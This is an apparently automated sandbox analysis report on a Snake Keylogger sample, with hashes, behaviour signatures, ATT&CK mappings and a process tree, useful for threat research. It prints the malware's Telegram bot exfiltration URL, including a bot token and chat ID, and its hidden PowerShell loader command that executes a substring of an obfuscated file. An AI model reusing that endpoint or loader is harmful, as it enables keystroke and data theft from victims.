snakekeylogger | 738532ed75db18650d507e33de23fc624a91ce76fff5a704310be17635f45450

Analysis

max time kernel
148s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
15-11-2024 02:39

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General

Target

738532ed75db18650d507e33de23fc624a91ce76fff5a704310be17635f45450.exe
Size

663KB
MD5

fa43b6f6caf5540ba0f6d0086388a3aa
SHA1

a093a22d20628af8c60ccb7788d1dacb13256e0f
SHA256

738532ed75db18650d507e33de23fc624a91ce76fff5a704310be17635f45450
SHA512

2f942fb33e8030e9de59dc5bd8d28747ef3b5d6a2b40165e8e6e983f234554d2eb7b5bf3e8b0e87c8c15aa8ae6e528a5578fe6c785848b7e164aafd53d83124e
SSDEEP

12288:G0mnA1ztovdMjb6RIA7ENUGyOwFxDVin19zIor9t3DSDb4Np:uA1ztovKQM6Gy5mnDz33ew/

Score

10^/10

snakekeylogger discovery execution keylogger stealer

Malware Config

Extracted

Family

snakekeylogger

https://api.telegram.org/bot7610532139:AAFiI3HHwFD6pWziyPu3lWJbRKPQtz0nD2c/sendMessage?chat_id=6680692809

Signatures

Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
stealer keylogger snakekeylogger

Snake Keylogger payload 1 IoCs

resource	yara_rule
behavioral2/memory/4992-66-0x0000000000600000-0x0000000001854000-memory.dmp	family_snakekeylogger

Snakekeylogger family
snakekeylogger

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3708	powershell.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
22	4992	msiexec.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
4992	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
3708	powershell.exe
4992	msiexec.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\resources\0409\propangas.lem	738532ed75db18650d507e33de23fc624a91ce76fff5a704310be17635f45450.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
212	4992	WerFault.exe	97

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	738532ed75db18650d507e33de23fc624a91ce76fff5a704310be17635f45450.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
3708	powershell.exe

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	3708	powershell.exe
Token: SeIncreaseQuotaPrivilege	3708	powershell.exe
Token: SeSecurityPrivilege	3708	powershell.exe
Token: SeTakeOwnershipPrivilege	3708	powershell.exe
Token: SeLoadDriverPrivilege	3708	powershell.exe
Token: SeSystemProfilePrivilege	3708	powershell.exe
Token: SeSystemtimePrivilege	3708	powershell.exe
Token: SeProfSingleProcessPrivilege	3708	powershell.exe
Token: SeIncBasePriorityPrivilege	3708	powershell.exe
Token: SeCreatePagefilePrivilege	3708	powershell.exe
Token: SeBackupPrivilege	3708	powershell.exe
Token: SeRestorePrivilege	3708	powershell.exe
Token: SeShutdownPrivilege	3708	powershell.exe
Token: SeDebugPrivilege	3708	powershell.exe
Token: SeSystemEnvironmentPrivilege	3708	powershell.exe
Token: SeRemoteShutdownPrivilege	3708	powershell.exe
Token: SeUndockPrivilege	3708	powershell.exe
Token: SeManageVolumePrivilege	3708	powershell.exe
Token: 33	3708	powershell.exe
Token: 34	3708	powershell.exe
Token: 35	3708	powershell.exe
Token: 36	3708	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 4464 wrote to memory of 3708	4464	738532ed75db18650d507e33de23fc624a91ce76fff5a704310be17635f45450.exe	83
PID 4464 wrote to memory of 3708	4464	738532ed75db18650d507e33de23fc624a91ce76fff5a704310be17635f45450.exe	83
PID 4464 wrote to memory of 3708	4464	738532ed75db18650d507e33de23fc624a91ce76fff5a704310be17635f45450.exe	83
PID 3708 wrote to memory of 4992	3708	powershell.exe	97
PID 3708 wrote to memory of 4992	3708	powershell.exe	97
PID 3708 wrote to memory of 4992	3708	powershell.exe	97
PID 3708 wrote to memory of 4992	3708	powershell.exe	97

C:\Users\Admin\AppData\Local\Temp\738532ed75db18650d507e33de23fc624a91ce76fff5a704310be17635f45450.exe
"C:\Users\Admin\AppData\Local\Temp\738532ed75db18650d507e33de23fc624a91ce76fff5a704310be17635f45450.exe"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4464
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "$Stavelsesantallenes=Get-Content -Raw 'C:\Users\Admin\AppData\Local\Nightingalize\intubation\Pjattehoveder\Trttes.Lsg30';$Rensemaskinens=$Stavelsesantallenes.SubString(50893,3);.$Rensemaskinens($Stavelsesantallenes)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3708
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\SysWOW64\msiexec.exe"
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    PID:4992
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4992 -s 1520
      4⤵
      Program crash
      PID:212

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4992 -ip 4992
1⤵
PID:428

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Nightingalize\intubation\Pjattehoveder\Evighedskalenders.Url

Filesize
297KB

MD5
5486b2628ef878dcf6c0ff20fb44e1b2

SHA1
348bd502c7c5d043b96b56d12031422dabdbfc4c

SHA256
988aec254517a9ed62e9aee0ef9d5d3888600d915eea4e89ae803e298c6e3071

SHA512
bb450c02386e09fd27b7f91a8d72f387f05232819caf815caf433fb1efc5b2c6c5455ff6fe1e6e050aa14483cef5bcc9736a74bcdc13d43110a7131908a9b1f8

Download Submit
C:\Users\Admin\AppData\Local\Nightingalize\intubation\Pjattehoveder\Trttes.Lsg30

Filesize
49KB

MD5
7e324ee649b79b8d21cc35127546dc6f

SHA1
852fdc7255cff49666a79a8f1b196340679360bb

SHA256
ff5d64b1291d7f4d4f9274beb4a0f9bb49870cd80134a8b5392913154449b1fb

SHA512
df3d449df9c2e7a5258256ee5dfec849e3d5a4953674e203217e59fc2ad12fd2b44443031b1749f73e1d7051536e1db7a87bcc82a0c2cd151d17ce05422089f1

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_e0yadp22.ecv.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3708-32-0x0000000007470000-0x00000000074A2000-memory.dmp

Filesize
200KB

Download
memory/3708-60-0x0000000074000000-0x00000000747B0000-memory.dmp

Filesize
7.7MB

Download
memory/3708-11-0x0000000005A10000-0x0000000005A32000-memory.dmp

Filesize
136KB

Download
memory/3708-17-0x0000000005AB0000-0x0000000005B16000-memory.dmp

Filesize
408KB

Download
memory/3708-18-0x0000000005B90000-0x0000000005BF6000-memory.dmp

Filesize
408KB

Download
memory/3708-8-0x0000000074000000-0x00000000747B0000-memory.dmp

Filesize
7.7MB

Download
memory/3708-23-0x0000000005D40000-0x0000000006094000-memory.dmp

Filesize
3.3MB

Download
memory/3708-24-0x0000000006220000-0x000000000623E000-memory.dmp

Filesize
120KB

Download
memory/3708-25-0x0000000006270000-0x00000000062BC000-memory.dmp

Filesize
304KB

Download
memory/3708-26-0x0000000007200000-0x0000000007296000-memory.dmp

Filesize
600KB

Download
memory/3708-27-0x0000000006740000-0x000000000675A000-memory.dmp

Filesize
104KB

Download
memory/3708-28-0x0000000006790000-0x00000000067B2000-memory.dmp

Filesize
136KB

Download
memory/3708-29-0x0000000007850000-0x0000000007DF4000-memory.dmp

Filesize
5.6MB

Download
memory/3708-46-0x0000000074000000-0x00000000747B0000-memory.dmp

Filesize
7.7MB

Download
memory/3708-31-0x0000000008480000-0x0000000008AFA000-memory.dmp

Filesize
6.5MB

Download
memory/3708-33-0x0000000074000000-0x00000000747B0000-memory.dmp

Filesize
7.7MB

Download
memory/3708-34-0x0000000070490000-0x00000000704DC000-memory.dmp

Filesize
304KB

Download
memory/3708-6-0x000000007400E000-0x000000007400F000-memory.dmp

Filesize
4KB

Download
memory/3708-65-0x0000000074000000-0x00000000747B0000-memory.dmp

Filesize
7.7MB

Download
memory/3708-10-0x0000000074000000-0x00000000747B0000-memory.dmp

Filesize
7.7MB

Download
memory/3708-9-0x00000000053E0000-0x0000000005A08000-memory.dmp

Filesize
6.2MB

Download
memory/3708-47-0x00000000076E0000-0x0000000007783000-memory.dmp

Filesize
652KB

Download
memory/3708-48-0x0000000074000000-0x00000000747B0000-memory.dmp

Filesize
7.7MB

Download
memory/3708-49-0x00000000077E0000-0x00000000077EA000-memory.dmp

Filesize
40KB

Download
memory/3708-51-0x0000000007F40000-0x0000000007F64000-memory.dmp

Filesize
144KB

Download
memory/3708-50-0x0000000007820000-0x000000000784A000-memory.dmp

Filesize
168KB

Download
memory/3708-52-0x0000000074000000-0x00000000747B0000-memory.dmp

Filesize
7.7MB

Download
memory/3708-54-0x000000007400E000-0x000000007400F000-memory.dmp

Filesize
4KB

Download
memory/3708-55-0x0000000074000000-0x00000000747B0000-memory.dmp

Filesize
7.7MB

Download
memory/3708-56-0x0000000074000000-0x00000000747B0000-memory.dmp

Filesize
7.7MB

Download
memory/3708-7-0x0000000002BF0000-0x0000000002C26000-memory.dmp

Filesize
216KB

Download
memory/3708-58-0x0000000074000000-0x00000000747B0000-memory.dmp

Filesize
7.7MB

Download
memory/3708-59-0x0000000008B00000-0x000000000C2A3000-memory.dmp

Filesize
55.6MB

Download
memory/3708-45-0x00000000076B0000-0x00000000076CE000-memory.dmp

Filesize
120KB

Download
memory/3708-61-0x0000000074000000-0x00000000747B0000-memory.dmp

Filesize
7.7MB

Download
memory/3708-62-0x0000000074000000-0x00000000747B0000-memory.dmp

Filesize
7.7MB

Download
memory/3708-63-0x0000000074000000-0x00000000747B0000-memory.dmp

Filesize
7.7MB

Download
memory/3708-35-0x00000000705F0000-0x0000000070944000-memory.dmp

Filesize
3.3MB

Download
memory/4992-66-0x0000000000600000-0x0000000001854000-memory.dmp

Filesize
18.3MB

Download